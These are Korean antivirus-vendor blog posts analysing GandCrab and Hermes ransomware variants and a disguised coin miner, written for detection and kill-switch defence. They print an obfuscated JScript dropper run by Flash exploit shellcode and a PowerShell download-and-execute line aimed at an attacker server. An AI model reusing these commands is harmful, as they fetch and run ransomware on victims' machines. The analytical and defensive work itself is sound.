2018년 8월 1일 수집된 GandCrab(갠드크랩) v4.2.1 버전에는 안랩 V3 Lite 제품를 공격하는 기능이 추가되었다. 아래 부분은 GandCrab v4.2.1에서 이전 버전과 달라진 점이다.

  • 파일 외형 변경
  • 프로세스 할로잉을 통해 내부 핵심 GandCrab 파일 구동
  • Anti-VM 기능 삭제
  • V3 Lite 제품을 공격하는 코드 추가

특히 이번 v4.2.1 GandCrab 에서 가장 특징적인 부분은 안랩 V3 Lite 제품을 공격하는 코드가 추가되었다는 점인데, 파일 암호화 이후에 해당 기능이 동작하도록 하였다. 


V3 Lite 제품 공격 코드가 추가된 GandCrab

2018년 8월 2일에 신규 수집된 GandCrab v4.3 에서도 위와 동일한 V3 Lite 제품 공격 기능이 확인되었으며, V3 Lite 최신 버전 3.3.46.2 부터는 해당 공격에 영향을 받지 않는다.


GandCrab v4.2.1

행위 진단 Malware/MDP.Ransom

파일 진단 Trojan/Win32.Gandcrab (2018.08.01.09)

MD5         ccfee0f37b0e2952d8c77438fc1e5e13


GandCrab v4.3

행위 진단 Malware/MDP.Ransom

파일 진단 Trojan/Win32.Gandcrab (2018.07.10.05)

MD5         9f1aeca41d2da7ef2a441961077474f1


Posted by 분석팀

국내 터미널 연결 프로그램으로 위장한 가상 화폐 채굴 악성코드가 유포되고 있어 PC사용자들의 주의가 필요하다.


이 악성코드는 81일부터 등장한 악성코드로 기존의 OLE취약점이나 매크로등 알려진 방법을 가지고 유포되며 윈도우의 기본 프로그램인 ‘wscript.exe’를 이용해 악성코드가 다운로드 된다다운로드된 악성코드는 기존 터미널로 위장하기 위해 ‘등록정보 내용’을 똑같이 만들어 일반 사용자들이 알아채기 어렵도록 만들었다.



[그림 1.] 위장(좌)vs정상(우) 비교


뿐만 아니라 아래 번과 같이 리소스(.rsrc)섹션의 내용을 동일하게 만든 것을 확인할 수 있으며, 



[그림 2.] 정상과 악성의 리소스 섹션 정보 비교


악성의 번 부분에선 정상 프로그램의 Installer를 설치 시 생성되는 PE프로그램 일부를 리소스(.rsrc)섹션에 넣어 두었는데, 이는 AV업체의 진단을 우회하기 위한 것으로 추정된다.



[그림 3.] 악성코드의 내부 파일(②) & 이에 일치되는 정상 프로그램의 항목(우)


악성코드 내부는 아래와 같은 마이닝 풀(mining pool) 주소와 사용할 알고리즘(초기값: cryptonight) 등 프로그램 구동과 관련된 내용이 적혀 있으며 마이너 종류는 ‘NiceHash Miner’로 추정된다.



[그림 4.] 마이닝 풀 주소() , NiceHash Miner관련 문자열()


현재 V3는 아래와 같이 행위 탐지하고 있으며,
대상 샘플들은 진단명: Trojan/Win64.CoinMiner 로 진단하고 있다.



[그림 5.] 8월 6일 행위 탐지 룰로 차단된 Miner



참조 URL :
1) https://miner.nicehash.com/

2) https://www.netsarang.co.kr/products/xsh_overview.html

Posted by 분석팀

GandCrab(갠드크랩) 랜섬웨어는 진단을 회피하기 위해 파일 외형에 있어서 다양한 패커 사용을 통한 빠른 변화를 거듭하고 있으며, 지난 주 안랩 ASEC에서는 v4.0, v4.1, v4.1.2, v4.1.3 버전에 대한 암호화 차단(Kill-Switch) 툴을 ASEC블로그를 통해 배포하였다.(http://asec.ahnlab.com/1145) 해당 암호화 차단툴 배포 후, 등장한 v4.1.2 변종에서는 악성코드 내부에 자사에 대한 모욕적인 내용을 담고 있는 이미지 링크를 추가한 것과 함께 더 이상 차단 툴이 유효하지 않도록 관련 코드가 제거된 형태로 발견되었다.(http://asec.ahnlab.com/1146) 이후 국내 유포방식을 모니터링 하던 중 7월 24일부터는 RigEK(Rig Exploit Kit)을 통한 새로운 v4.2 버전의 유포가 확인되었다. GandCrab v2.x와 v3.x 버전이 RigEK를 통해 유포된 것은 올 해 4월에 기 알려진 상태이나, 최신 v4.2 버전이 RigEK를 통해 유포된 것이 확인된 것은 이번이 처음이다. 새롭게 확인된 버전의 기능은 기존과 크게 다르지 않지만, Anti-VM 기능이 추가된 것이 특징이다.(암호화 차단툴 - X, 안랩 모욕 이미지 링크 - O) Anti-VM기능은 시스템의 'CPU 개수' 및 사용중인 운영체제 설치 '드라이브의 총 사용량' 등을 체크하여 동작여부가 결정되는 구조이다. 조건에 따라 10분간 대기(Sleep() 함수)한 후에 암호화를 수행하는 경우와 대기없이 바로 암호화를 수행하는 경우, 암호화 작업없이 바로 종료하는 경우 3가지로 나뉜다.



1. Anti-VM기능이 추가 된 GandCrab 4.2


4.2버전의 GandCrab에서는 기존 4.1버전에 없었던 기능이 추가되었는데, 특정 환경에서는 동작하지 못하도록 하는 Anti-VM이 바로 그것이다.


아래와 같이 Anti-VM을 확인하는 코드는 복잡한 연산을 수행한 뒤의 결과 값으로 확인하게 되는데, 이 때 사용되는 값들 중 핵심 요소는 사용중인 디스크 크기, 현재 시스템의 CPU개수 및 시스템이 부팅된 후 흐른 시간이다. 이 값들을 조합하여 특정 연산 후의 최종 데이터로 암호화 여부와 sleep 함수를 수행할 것인지를 결정하게 된다.


일반적으로 가상머신 VM(Virtual Machine)환경에서는 보통 1개의 CPU와 디스크 사용량이 적은 환경으로 세팅되기 때문에 암호화 행위가 발행하지 않을 수 있다.




[그림 1] - 안티VM 체크하는 코드 루틴



아래의 [표 1]은 시스템이 부팅되고부터 10분 경과 된 후 해당 GandCrab 4.2 버전이 실행되었을 경우와 1시간이 경과한 후 실행되었을 경우 각각 암호화가 수행되는 기준 정보를 보여준다. 부팅된 시간이 오래될 수록 감염 조건에 부합하는 현재 디스크 사용량 크기 조건은 줄어든다. 예를들어 (대부분의 일반 사용자 환경인) CPU가 8개인 PC를 부팅하여 익스플로잇이 발생 될 수 있는 페이지에 접근 후 GandCrab 4.2가 실행되는데까지 1시간이 걸렸다고 했을 때 디스크 사용용량이 50G이상인 경우 바로 암호화가 수행되며, 10G인 경우는 10분간의 대기 후에 암호화가 수행된다.


  

10 mins after the system boots

CPU Counts

Minimum disk space required

(used disk space)

Perform encryption after 10

mins using sleep() funtion

Immediate encryption

without sleep() funtion

1

28GB

537GB

2

12GB

108GB

4

0GB

(Perform encryption without and conditions)

108GB

8

28GB

1 hours after the system boots

CPU Counts

Minimum disk space required

(used disk space)

Perform encryption after 10

mins using sleep() funtion

Immediate encryption

without sleep() funtion

1

28GB

108GB

2

12GB

108GB

4

0GB

(Perform encryption without and conditions)

28GB

8

23GB

 

[ 1] - 암호화 조건



2. Rig Exploit Kit을 통해 유포되는 GandCrab v4.2


[그림 2]는 Rig Exploit kit으로 탐지된 GandCrab v4.2 랜섬웨어의 탐지 로그이며, “b37.exe”를 다운로드 및 실행하는 기능을 수행한다. "b37.exe"파일이 새롭게 확인된 GandCrab v4.2이며, 함께 수집된 플래쉬 파일은 'CVE-2018-4878' 취약점을 갖는 것으로 확인되었다. [그림 3]은 취약점을 갖는 플래쉬 파일(mifxfb67.swf)의 쉘코드가 실행하는 커맨드 명령을 나타낸다.



[그림 2] - RigEK 이용한 GandCrab v4.2 탐지로그




[그림 3] - 플래시 파일 내부의 쉘코드


 

cmd.exe /q /c cd /d "%tmp%" && echo function _(k,e){for(var l=0,n,c=[],F=255,S=String,q=[],b=0;256^>b;b++)c[b]=b;ta="char"+"CodeAt";for(b=0;256^>b;b++)l=l+c[b]+e[ta](b%e.length)

^&F,n=c[b],c[b]=c[l],c[l]=n;for(var p=l=b=0;p^<k.length;p++)b=b+1^&F,l=l+c[b]^&F,n=c[b],

c[b]=c[l],c[l]=n,q.push(S.fromCharCode(k.charCodeAt(p)^^c[c[b]+c[l]^&F]));return q["join"]("")};

/**/function V(k){var y=a(e+"."+e+/**/"Reques\x74.5.1");T="G";y["se"+"tProxy"](n);y["o"+"pen"](T+"ET",k(1),1);y.Option(n)=k(2);y.send();y["Wai"+"tForResponse"]();W="respo"+"nseText";

if(40*5==y.status) return _(y[W],k(n))};try{M="WSc";u=this[M+"ript"],o="Object";P=(""+u).split(" ")

[1],M="indexOf",m=u.Arguments,e="WinHTTP",Z="cmd",U="DEleTefIle",a=Function/**/("QW","return

 u.Create"+o+"(QW)"),q=a(P+"ing.FileSystem"+o),s=a("ADO"+"DB.Stream"),j=a("W"+P+".Shell"),

x="b"+Math.floor(Math.random() * 57)+".",p="exe",n=0,K=u[P+"FullName"],E="."+p;s.Type=2;s.

Charset="iso-8859-1";try{v=V(m)}catch(W){v=V(m)};Q="PE\x00\x00";d=v.charCodeAt(21+v[M](Q));s.Open();h="dll";if(037^<d){var z=1;x+=h}else x+=p;s.WriteText(v);s.savetofile(x,2);C=" /c ";s.Close();i="regs";z^&^&(x=i+"vr32"+E+" /s "+x);j["run"](Z+E+C+x,0)}catch(EE){};q[U](K);>

T32.tmp && start wscript //B //E:JScript T32.tmp "


[ 2] - 쉘코드에서 실행되는 명령

 


CVE-2018-4878 취약점을 예방하기 위해서는 플래시 플레이어 버전을 항상 최신으로 업데이트 해주어야 한다. 또한 자사에서는 해당 GandCrab v4.2 랜섬웨어를 아래와 같이 진단 중이다.


 

SWF 플래시 파일

GandCrab 4.2 실행 파일

행위진단

Malware/MDP.DriveByDownload

Malware/MDP.Ransom

파일진단

SWF/Cve-2018-4878.Exp.3

Trojan/Win32.Gandcrab

MD5 HASH

aca9bc42091691e4b94f6a70e4f2c55e

0c8177d87b821af30756cd2edc9b939a


[표 3] - 자사 제품 진단 정보

Posted by 분석팀

자사에서는 지속적으로 업데이트되는 GandCrab 랜섬웨어의 내부 버전을 확인하여 그에 대한 대응을 신속히 하고있다. 오늘도 버전 업데이트 된 4.1.3이 확인되어 지난 블로그에 이에 대한 kill-switch가 가능한 툴도 즉각 새로 제작하여 업로드하였다. (http://asec.ahnlab.com/1145)


하지만 모니터링 중 지금까지 공유되었던 유형과는 다른 GandCrab이 발견되었는데, 이 유형은 특정 뮤텍스를 생성한다. 뮤텍스명 생성시 사용하는 스트링에 자사인 ahnlab만을 언급하고 있는 점이 눈에 띈다.


"%X ahnlab http://memesmix.net/media/created/dd0doq.jpg" 스트링을 이용하여 기존과 같은 커스텀 salsa20 알고리즘으로 “Global\*.lock”명의 뮤텍스를 생성한다.


[그림 - 1] 새로운 뮤텍스 생성 알고리즘



스트링에 포함된 URL주소 접속 시에는 아래와 같이 특정 의미를 담은 그림과 러시아 문구를 확인 할 수 있다해당 러시아어는 아래와 같은 '모욕'의 의미가 있는 것으로 확인되었다.


- I added you to the Gay list, so far i used the pencil.



[그림 - 2] URL 접속 시 확인되는 그림


이 유형의 내부 버전은 기존과 같은 4.1.2이지만 .lock 파일을 생성하여 kill-switch를 가능하게 했던 기존의 코드가 없는 버전으로 확인된다. Kill-switch가 가능했던 유형에서 제작자가 사용하였던 스트링인 "%X fortinet & ahnlab, mutex is also kill-switch not only lockfile ;)" 의 뜻이 이해되는 대목이다


GandCrab이 다양한 유형으로 유포되고 있음을 알 수 있으며 해당 유형 역시 자사 제품의 행위 및 파일 진단으로 모두 탐지 가능하다.


  • 행위진단: Malware/MDP.Ransom
  • 파일진단: Win-Trojan/Gandcrab04.Exp (2018.07.17.00)
  • MD5: 435f58209f1a5770cc5c4795628fd85e


Posted by 분석팀

2018년 7월 9일 보안업체 Fortinet과 7월 13일 안랩에서 GandCrab v4.1.1에 대한 암호화 차단방법을 공유하였다. 이후 7월 17일 아래와 같이 GandCrab 4.1.2 버전이 새롭게 확인되었으며, 악성코드 내부에는 Fortinet 과 AhnLab에 대해 조롱하는 듯한 문구가 삽입되었다.


"#fortinet & #ahnlab, mutex is also kill-switch not only lockfile ;)"


[참고] https://twitter.com/MarceloRivero/status/1019259361259028480?s=09


4.1.2 버전에서는 단순히 해당 문구가 추가된 것 외에 암호화 차단의 핵심이 되는 *.lock 파일이름 생성 알고리즘이 복잡하게 변경되었다. 파일이름의 길이도 기존 8바이트에서 20바이트로 확장되었다. 안랩 ASEC에서는 변경된 파일이름 생성 알고리즘이 알려진 Salsa20 을 일부 수정한 Custom Salsa20 으로 확인하였으며, 이러한 정보를 바탕으로 새로운 암호화 차단툴을 제작하였다.


아래의 그림은 새로운 버전 4.1.2에서 *.lock 파일을 생성하는 코드를 나타내며, 붉은색 표시부분이 새롭게 추가된 것으로 기존의 볼륨정보 외에 Salsa20 함수를 통해 lock 파일이름을 생성하는 것을 알 수 있다.


[그림-1] GandCrab v4.1.2의 lock 파일생성



Salsa20 암호화 시 사용되는 Key, Vector 정보는 다음과 같다.

  • KEY[] (16진수): 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10
  • VEC[] (16진수): 01 02 03 04 05 06 07 08
  • 입력값: "380978EA fortinet & ahnlab, mutex is also kill-switch not only lockfile ;)" (단, 380978EA 값은 드라이브 볼륨을 통해 생성된 정보로 사용자마다 상이)

변경된 파일이름만 특정 경로에 존재하면, 여전히 암호화 차단(Kill-Switch)이 가능함을 확인하였으며, lock 파일의 생성위치 및 사용방법은 기존과 동일하며 아래와 같다.


폴더: CSIDL_COMMON_APPDATA

  • Win XP: C:\Documents and Settings\All Users\Application Data
  • Win 7, 8, 10: C:\ProgramData

파일: 8A5BA4B9C369950A5FEC.lock (예제)

툴 사용방법

  • 첨부한 실행파일을 다운로드 받은 후, 오른쪽 마우스 클릭하여 '관리자 권한으로 실행'
  • 아래와 같이 해당 폴더(Common AppData)에 *.lock 파일이 생성됨을 확인


V3제품에서도 현재 유포되는 GandCrab v4.1.2 유형에 대해 아래와 같이 진단/대응하고 있다. 안랩 ASEC은 국내에 유포 중인 GandCrab 랜섬웨어 관련하여 지속적인 모니터링을 수행하고 있으며, 새로운 버전도 V3제품에서는 사전 대응이 가능한 상황이다.

  • 행위진단: Malware/MDP.Ransom
  • 파일진단: Win-Trojan/Gandcrab04.Exp (2018.07.17.00)
  • MD5: f153ac5527a3e0bc3e663b8e953cc529

국내에 유포되는 GandCrab 랜섬웨어는 이력서 혹은 정상 프로그램으로 위장하여 사용자 클릭을 유도하는 형태임을 확인하였으며, 아래와 같은 파일명들이 사용되고 있다.


- \안녕하세요 입사지원하는 임정연입니다\임정연\임정연\unclej.exe

- micro_office_2010.exe

- 쯔꾸르_게임.exe

- 뿌요뿌요_테트리스.exe

- 포토_리커버리.exe

Posted by 분석팀

2018년 7월 9일 보안업체 Fortinet은 자사 블로그를 통해 GandCrab v4.0에 대한 암호화 차단방법을 공유하였다. 안랩 ASEC은 해당 방식이 최근 국내에서 유포되고 있는 GandCrab v4.1 및 v4.1.1 버전에서도 유효함을 확인하였으며, 이러한 정보를 바탕으로 암호화 방지툴을 제공하여 국내 사용자 피해를 사전에 차단하고자 한다.


- [참고] https://www.fortinet.com/blog/threat-research/gandcrab-v4-0-analysis--new-shell--same-old-menace.html


GandCrab v4.x 랜섬웨어는 네트워크 공유폴더의 파일들도 암호화함으로 이전 버전에 비해 더 큰 피해가 우려된다. Fortinet 블로그에 언급된 암호화 차단방식은 "Common AppData" 폴더에 특별한 규칙을 갖는 8자리 이름의 *.lock 파일이 존재할 경우, 랜섬웨어가 종료하는 코드를 역으로 이용한 것이다.


암호화를 사전에 차단하기 위한 *.lock 파일의 위치 및 파일명 생성규칙은 다음과 같다.

  • 폴더: CSIDL_COMMON_APPDATA
    • Win XP: C:\Documents and Settings\All Users\Application Data
    • Win 7, 8, 10: C:\ProgramData
  • 파일: 426BD648.lock (예제)
    • 파일명은 루트 드라이브의 볼륨정보를 바탕으로 생성되어 사용자마다 다를 수 있음.
  • 툴 사용방법
    • 첨부한 실행파일을 다운로드 받은 후, 오른쪽 마우스 클릭하여 '관리자 권한으로 실행'
    • 아래와 같이 해당 폴더(Common AppData)에 *.lock 파일이 생성됨을 확인

[그림-1] Win7 환경에서 파일 생성위치


아래의 그림은 GandCrab v4.x에서 lock 파일명을 생성하는 방식에 대한 코드로 이 정보를 통해 툴이 제작되었다.



[그림-2] *.lock 파일명 생성코드


GandCrab v4.x에서 암호화 제외 파일명은 다음과 같다.


desktop.ini, autorun.inf, ntuser.dat, iconcache.db, bootsect.bak, boot.ini, ntuser.dat.log, thumbs.db, KRAB-DECRYPT.html, KRAB-DECRYPT.txt, CRAB-DECRYPT.txt, ntldr, NTDETECT.COM, Bootfont.bin


GandCrab v4.x에서 암호화 제외 폴더명은 다음과 같다.


\ProgramData\

\IETldCache\

\Boot\

\Program Files\

\Tor Browser\

\All Users\

\Local Settings\

\Windows\


GandCrab v4.x에서 암호화 제외 확장자는 다음과 같다.


 .ani .cab .cpl .cur .diagcab .diagpkg .dll .drv .lock .hlp .ldf .icl .icns .ico .ics .lnk .key .idx .mod .mpa .msc .msp .msstyles .msu .nomedia .ocx .prf .rom .rtp .scr .shs .spl .sys .theme .themepack .exe .bat .cmd .gandcrab .KRAB .CRAB .zerophage_i_like_your_pictures


V3제품에서는 현재 유포되는 GandCrab v4.x 유형에 대해 아래와 같이 진단하고 있다.

- 행위진단: Malware/MDP.Ransom
- 파일진단: Trojan/Win32.Gandcrab (2018.07.05.03)


Posted by 분석팀

최근 SMB 취약점을 이용한 악성코드가 국내 사용자를 대상으로 다시 확산되면서 경각심을 주고 있다. SMB 취약점은 작년 WannaCrypt 랜섬웨어(http://asec.ahnlab.com/1067)가 확산되면서 전 세계적으로 이슈된 OS 취약점으로 대대적으로 패치가 이루어졌지만몇몇 중소기업이나 복지기관 그리고 결제시스템에 필요한 POS단말기 등 호환성을 위해 아직 패치되지 않은 낮은 버전의 OS를 사용 중인 시스템들은 해커들로부터 공격 대상이 되고 있다.


대표적으로 6월 말쯤 발생한 POS장비 인터넷 마비 사건 또한 이 취약점을 통해 공격을 받은 것으로 확인되었으며 현재 고객사로부터 관련 피해들이 잇따라 접수되고 있어 취약점 패치가 절실하다. 이 취약점을 통해 유포되는 악성코드의 형태로는 Genasom 랜섬웨어와 사용자 몰래 CPU 자원을 사용해 코인 채굴 행위를 하는 Miner 등이 주로 확인되었다.


자사의 행위 진단으로 탐지된 리포트에 의하면 올해 0707일부터 이 취약점을 이용한 악성코드가 갑자기 급증 되어 최대 1600여건 이상 탐지되고 있음을 확인할 수 있다. 따라서 타겟이 되는 시스템은 취약점 패치 및 보안 업데이트가 필요하다.


[그림 1. SMB 취약점을 이용한 악성코드 대상 탐지 건수]


안랩 제품에서는 악성코드들을 다음과 같이 진단하고 있다.

파일 진단 : Trojan/Win32.Genasom (2017.11.28.00), Trojan/Win32.Agent (2018.07.10.00)
행위 진단 : Malware/MDP.DriveByDownload

[취약점 패치]


Posted by 분석팀

지난해 말부터 시작하여 꾸준히 유포되고 있는 헤르메스 랜섬웨어 2.1은 기능적으로 큰 변화가 없으며, 이에 따라 구현된 내부 PE(Portable Executable) 파일도 유사한 형태를 가진다. 하지만 외형의 경우 아이콘이나 무의미한 문자열 같은 리소스, 데이터가 랜덤하게 다양한 값을 가지기 때문에 형태 뿐만 아니라 크기까지도 매우 상이한 형태로 유포되었다.


최근 유포되고 있는 헤르메스 랜섬웨어 2.1의 경우 실제 랜섬웨어의 기능을 담당하고 있는 내부 PE 파일은 과거와 유사하지만 외형적으로는 큰 차이를 보인다. C / C++로 개발된 과거의 형태와는 달리 개발 언어 자체가 변경되었는데, Visual Basic 6.0 ( N-Code : Native ) 으로 만들어진 외형을 가진 채로 유포 중이다.


개발 언어는 변경되었지만 그 기능은 동일한데, 쓰레기 코드를 거친 후 결국 암호화되어 저장된 실제 헤르메스 PE를 복구하고 메모리에 새로 쓰는 RunPE 방식으로 구현되어 있다.


 

v2.1 초기 형태

v2.1 이후

 v2.1 최신 형태

기간 

2017년 10월 경

2018년 상반기

2018년 7월 경

외형

C /C++

C /C++

  Visual Basic 6.0 

 내부 PE

 Hermes Ransomware v2.1

(확장자를 .HRM으로 변경)

Hermes Ransomware v2.1
(확장자 변경 X)

Hermes Ransomware v2.1
(확장자 변경 X)

특징

 RunPE 방식으로 실제 PE 로드 

 RunPE

 RunPE



v2.1 초기 형태


초기 버전의 경우 다음과 같은 쓰레기 코드로 시작한다.


[그림1]  쓰레기 코드(Garbage Code)


이후 복호화 루틴을 거쳐 실제 PE를 복구한 후 메모리에 새로 쓰고 다시 실행하는 RunPE 방식이 사용된다.

[그림2]  복호화 루틴 및 복호화 된 실제 헤르메스 PE




VB6 외형을 가진 최신 헤르메스 v2.1


일반적으로 VB6 외형을 가진 악성코드의 경우 Form 초기화 함수 ( Form_Initialize ) 등에 실제 코드를 숨겨놓는 경우가 많지만 헤르메스는 Form이 삽입만 되어있을 뿐 폼과 관련된 이벤트 루틴은 존재하지 않는다.


[그림3]  랜덤 문자열 이름을 갖는 Form



즉 GUI 형태로 보이지만 Console 모드로 컴파일되었으며, 이에 따라 아래와 같이 실제 EP(Entry-Point)를 확인할 수 있다. 아래의 그림은 VB파일에서 사용되는 구조체 정보를 나타내며 구조체 시작+0x2C에 위치한 멤버가 Console Mode에서 EP 주소(0x004283A4)를 나타낸다.

[그림4]  ThunRTMain() 호출 전 push하는 구조체



진행하다 보면 여러 쓰레기 코드들을 확인할 수 있다.

[그림5]  시작부터 마지막 부분까지 모두 쓰레기 코드


쓰레기 코드를 지나 실제 복호화 루틴 주소를 획득한 후 CallWindowProcW() 함수를 호출하는데 해당 함수의 인자 중 lpPrevWndFunc에 복호화 루틴의 주소를 넣는다. 이를 통해 CallWindowProcW() API 함수를 호출함으로써 실제 복호화 루틴으로 분기할 수 있다. 이러한 형태는 VB6로 만들어진 RunPE 형태에서 자주 사용되는 방식이다.


[그림6]  CallWindowProcW() 함수를 호출하기 위한 DllFunctionCall()

 


최신 버전의 경우 또한 두 단계의 복호화 루틴이 존재한다. 아래 코드 섹션 상에 존재하는 복호화 루틴은 이전 버전과 같이 복호화 대상이 또 다른 형태의 복호화 루틴 및 데이터 그리고 실제 헤르메스의 PE이다. 


[그림7]  첫 번째 복호화 루틴


실제 헤르메스의 PE에 대한 복호화를 담당하는 두 번째 복호화 루틴은 다음과 같으며 안티 디버깅 및 안티 VM 기법이 존재한다.


[그림8]  Anti-Debugging 및 Anti-VM 기법


IsDebuggerPresent() 함수를 직접 구현하였으며, NtGlobalFlags 값을 획득하여 현재 디버깅 중인지 판단한다. 마지막으로 CPUID를 이용해 현재 CPU가 MMX를 지원하는지 검사한다. 이것은 보통 가상 환경의 CPU가 MMX를 지원하지 않는다는 점을 이용한 Anti VM으로 판단되며 MMX 관련 명령어는 이후에도 사용된다. 


다음으로 문자열 kID1(0x6B494431)을 찾는데 현재 샘플은 오프셋 그리고 메모리 기준에서도 0x89CC에 해당 문자열이 위치한다. (참고로 이 파일은 .text 섹션이 0x1000에서 시작하기 때문에 메모리에 로드된 것과 동일한 형태이다. 즉 File Alignment가 Section Alignment와 마찬가지로 0x1000을 갖는다)


[그림9]  "kID1" 시그니처 문자열

 


복호화 시작위치를 찾는데 기준이 되는 문자열 "kID1" 이후부터 주어진 크기 만큼 할당한 메모리에 복사한다. 메모리로 복사된 데이터에는 인코딩되어 있는 PE 외에도 XOR에 사용되는 키 값이 존재한다. 


[그림10]  아래의 XOR 루틴에서 사용되는 키

 

해당 키 값으로 다음과 같이 MMX 명령어를 이용한 복호화가 진행된다.

[그림11]  MOVD, PXOR 등 다수의 MMX 명령어

 

헤르메스의 PE는 두 번 인코딩되어 있기 때문에 위의 복호화 루틴을 지나도 PE를 확인할 수 없다. 마지막으로 0x100 크기의 키를 생성한 후 이 키와 XOR 연산을 거침으로써 PE가 복구된다.


[그림12] 생성된 0x100 크기의 키와 이를 이용한 xor 연산

 

복구된 PE를 확인해 보면 시그니처 "MZ"가 빠진 형태이며 이후에 직접 "MZ"를 추가한다.

[그림13] 'MZ' 시그니처를 추가하는 과정

 

과거 형태가 자가 프로세스에서 메모리를 언매핑한 후 새로 쓰는 방식이었다면, 최신 버전은 자가 프로그램을 자식 프로세스로 실행하여 복호화한 헤르메스 PE를 인젝션하는 방식을 사용한다. CREATE_SUSPENDED 모드로 CreateProcessW()를 실행한 후 자식 프로세스의 바이너리 모듈을 NtUnmapViewOfSection()으로 언매핑한 후 새로 메모리를 할당하여 써 넣는 방식이다.


[그림14] 자가 프로그램을 자식 프로세스로 생성하는 과정

 

이후 부모 프로세스는 종료되며, 자식 프로세스에 인젝션되어 실행되는 헤르메스는 실제 랜섬웨어의 기능을 수행한다. 외형은 바뀌었지만 내부의 실제 헤르메스 PE는 다음 링크에서 분석한 바와 거의 동일하다. [ http://asec.ahnlab.com/1088 ]


하지만 "AhnLab" 폴더명을 제외하고 암호화를 진행하는 것 외에도 AhnLab 관련 스트링이 더 확인 되었다. 다음과 같이 "ah1nl1ab.dll"이라는 라이브러리에 대한 로드를 시도하고 실패 시 종료하는 부분이 추가 된 점이다.


[그림15]  "ah1nl1ab.dll" 라이브러리를 로드하는 부분

 

안랩 제품에서는 헤르메스 랜섬웨어 v2.1의 최신 버전을 다음과 같이 진단하고 있다.


- 파일 진단 : Trojan/Win32.Hermesran  (2018.07.03.06)

- 행위 진단 : Malware/MDP.Ransom.M1171

Posted by 분석팀

갠드크랩(GandCrab) 랜섬웨어는 타 랜섬웨어와 비교하면 그 유포방식이 다양하다. 다양한 유포방식은 브라우저 취약점을 통한 드라이브 바이 다운로드, 정상 소프트웨어 위장, 이메일 문서 첨부방식 등이 확인되었다. 다양한 유포방식에 못지않게 랜섬웨어의 파일 외형 또한 다양한 방식으로 변화를 보이고 있다. 최근 ASEC은 이러한 유포방식을 모니터링 중 파워쉘 스크립트 형태로 동작하는 갠드크랩 랜섬웨어의 유포 정황을 발견했다. 과거에 이와 유사한 형태가 문서파일 내부의 매크로 코드에서 확인된 사례가 있으나, 실행파일에서 파워쉘을 이용한 것이 확인된 것은 이번이 처음이다.


아래 <그림 1>은 갠드크랩 랜섬웨어를 다운로드하는 기능을 수행하는 실행파일(EXE)의 코드 중 일부이다. 해당 실행파일은 파워쉘 커맨드를 실행하는 기능만 수행한다. 


<그림 1. 파워쉘 스크립트를 실행하는 부분>



해당 파워쉘 커맨드는 유포지 서버로부터 랜섬웨어 본체를 사용자 시스템에 생성과정 없이 메모리에서 실행시킨다. 따라서 동작 시, <그림 2>와 같은 프로세스 트리를 보이며, 정상 프로세스인 Powershell.exe가 파일을 암호화하는 프로세스가 된다.


<그림 2. 프로세스 트리>



<표 1>은 <그림 1>에서 사용되는 파워쉘 명령이다. 해당 구문은 공격자 서버로부터 다운로드 받은 파워쉘 스크립트의 특정 함수(Invoke-GandCrab)의 실행을 의미한다. 그리고 Invoke-GandCrab 함수실행 후, 일정 시간(1000000초=270시간)을 대기한다. 이는 파일이 암호화되는 동안 프로세스가 종료되지 못하도록 하기 위함으로 파악된다. 또한 공격자는 교묘하게도 유포할 파워쉘 스크립트의 파일명을 ahnlab.txt로 사용했다.


 파워쉘 명령

 IEX ((new-object net.webclient).downloadstring('http://91.x10.1x4.x4x/ahnlab.txt'));Invoke-GandCrab;Start-Sleep -s 1000000;

<표 1. 파워쉘 스크립트 구동관련 코드>



아래 <그림 3>은 파워쉘 스크립트로 내부에 Invoke-GandCrab 함수가 존재하며, 유포지 서버가 활성화되어 있을경우, <표 1>의 파워쉘 명령으로 해당 함수가 사용자 시스템에서 실행된다. 이처럼 같은 랜섬웨어 일지라도 파일의 유형은 계속해서 다양해질 것으로 예측된다.  


<그림 3. 파워쉘 스크립트 내의 실행함수>




현재 안랩 제품에서는 파워쉘 스크립트로 유포되는 갠드크랩 랜섬웨어를 다음과 같이 진단하고 있다.


  • 파일 진단: Trojan/Win32.Agent(2018.07.05.06)
  • 행위 진단: Malware/MDP.Ransom.M1964

  • 추가로, 최근 정상파일로 위장하여 배포되는 GandCrab은 아래와 같은 파일명들이 확인되었다.

    • windows_7_iso.exe

    • 건축_도면.exe

    • 카트라이더_핵.exe

    • 판도라tv_동영상.exe

    • 무료_mp3_음악.exe

    • ppt_템플릿.exe

    • 태양의_후예.exe

    • 워프레임_캐시.exe

    • 오토_캐드_2010.exe

    • 윈도우7_정품인증.exe

    • 파워포인트_2010.exe

    • 네이버tv_동영상.exe

    • 사이툴_한글판.exe

    • mlb2k12.exe

    • 웹페이지.exe

    • web_동영상.exe

    • 곰오디오_스킨.exe

    • 병맛_전쟁_시뮬레이터.exe

    • 스팀_창작마당.exe

    • 로지텍_드라이버_속도.exe

    • 링크티비.exe

    • 네이버_동영상_편집기.exe

    • 뿌요뿌요_테트리스.exe

    • 일러스트_레이터_cs5.exe


    Posted by 분석팀

    자사에서는 금주 동안 악성 문서가 첨부된 메일을 통해 Hermes v2.1과 GandCrab v4 랜섬웨어를 유포 중임을 확인하였다. 문서는 비밀번호를 필요로 하며, 해당 비밀번호는 아래와 같이 메일에 명시 되어있다



    [그림1] – 악성 문서가 첨부 된 메일


    비밀번호 입력 후 문서가 열리면 매크로를 활성화 하라는 내용을 확인 할 수 있다.



    [그림2] – 암호 입력을 필요로 하는 악성 문서



    [그림3] – 매크로 활성화 유도하는 문서 내용



    매크로가 활성화되면 특정 네트워크에 접속하여 랜섬웨어를 다운로드 후 실행한다.


    다운로드 URL

    http://2*5.**5.*1*.*2/default.exe

    파일 저장 경로 및 이름

    %temp%\qwerty2.exe


    [ 1] – 랜섬웨어 유포 주소 및 저장 경로명



    흥미로운 점은 74일까지는 해당 URL에서 Hermes v2.1을 유포하는 반면, 오늘75일에는 동일 URL에서 GandCrab v4를 유포 중이다. 따라서 해당 문서 실행 시 어제까지는 Hermes v.2.1이 다운로드 되서 실행 된 반면 오늘은 GandCrab v4에 감염 될 수 있다. 또한 두 종류의 랜섬웨어는 동일한 파일 설명, 제품 이름 및 중국어를 언어로 사용하는 등의 유사한 버전 정보를 사용하고 있다.



    [그림 4] – 유사 버전 정보 (: GandCrab v4, : Hermes v2.1)


    위의 내용과 같이 동일한 URL에서 유포되고 버전 정보가 매우 유사한 점으로 보아 두 랜섬웨어의 제작자가 동일 할 것으로 추정된다.


